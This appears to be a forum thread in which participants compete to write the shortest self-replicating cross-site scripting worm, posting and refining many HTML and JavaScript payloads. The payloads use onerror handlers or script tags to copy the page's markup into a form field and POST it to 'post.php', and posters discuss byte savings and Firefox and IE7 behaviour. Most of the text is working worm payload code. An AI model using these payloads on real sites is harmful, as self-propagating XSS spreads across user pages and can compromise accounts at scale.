<b><img src="." onerror="alert('xss');with(this.nextSibling)firstChild.value=parentNode.innerHTML.bold(),submit()"><form method="post" action="post.php"><input name="content"></form></b>
<b><img onerror="alert('xss');with(this.nextSibling)content.value=parentNode.innerHTML.bold(),action=(method='post')+'.php',submit()" src=""><form><input name="content"></form></b>
181 chars, exact replication on Firefox, same length on IE.
src=""is the shortest thing (for IE & FF) - off 1 byte :-)
<b><img onerror="alert('xss');with(nextSibling)content.value=parentNode.innerHTML.bold(),action=(method='post')+'.php',submit()" src="">
<form><input name="content"></form></b>
var defines a local (function) variable (note that JavaScript only has function scope!), if you don't define a variable you're working in global space (which is nasty, but for worms who gives a damn ;-).Quote
rsnake
@.mario - interesting... I always thought IE7.0 required var before variable definition.
(...) You can also type "<\/script>" to save two bytes.
<form><input name="content" src="" onerror="alert('xss');p=form;p.action=(p.method='post')+'.php';value='<form>'+p.innerHTML.substr(0,155);click()" type="image">
Quote
Reiners
if you count every byte why use long names like "content"?
Quote
rsnake
2) must self replicate the entire payload to a page called "post.php" as a parameter called "content"
Had the same thought about using an image, nice trick with the substr! The submit works in IE 7, but this is posted:Quote
ritz<form><input name="content" src="" onerror="alert('xss');p=form;p.action=(p.method='post')+'.php';value='<form>'+p.innerHTML.substr(0,158);click()" type="image">(again, not tested in IE7)
content.x=0&content.y=0By my knowledge IE only submits the value of a submit button if you really click on it ...
The coordinates are not the problem (happens in FF too), but the lack of the real content variable is the problem (doesn't happen in FF).Quote
ritz
if you click on an image, you generally also get the coordinates of the click.
<form><input name="content" src="" onerror="alert('xss');p=form;p.action=(p.method='post')+'.php';type=value='<form>'+p.innerHTML.substr(0,161);submit()" type="image">
<form><input name="content" src="" onerror="alert('xss');p=form;p.action=(p.method='post')+'.php';value='<form>'+p.innerHTML.substr(0,163);type=0;submit()" type="image">
<form><input name="content" src="" onerror="alert('xss');p=form;p.action=(p.method='post')+'.php';value='<form>'+p.innerHTML.substr(0,164);type='';submit()" type="image"><form id=z><INPUT name="content"><SCRIPT>with(z)alert('XSS',submit(action=(method='post')+'.php',content.value='<form id=z>'+innerHTML.substr(0,148)))</SCRIPT>
<form id=z><input name="content"><script>with(z)alert('XSS',submit(action=(method='post')+'.php',content.value='<form id=z>'+innerHTML))</script>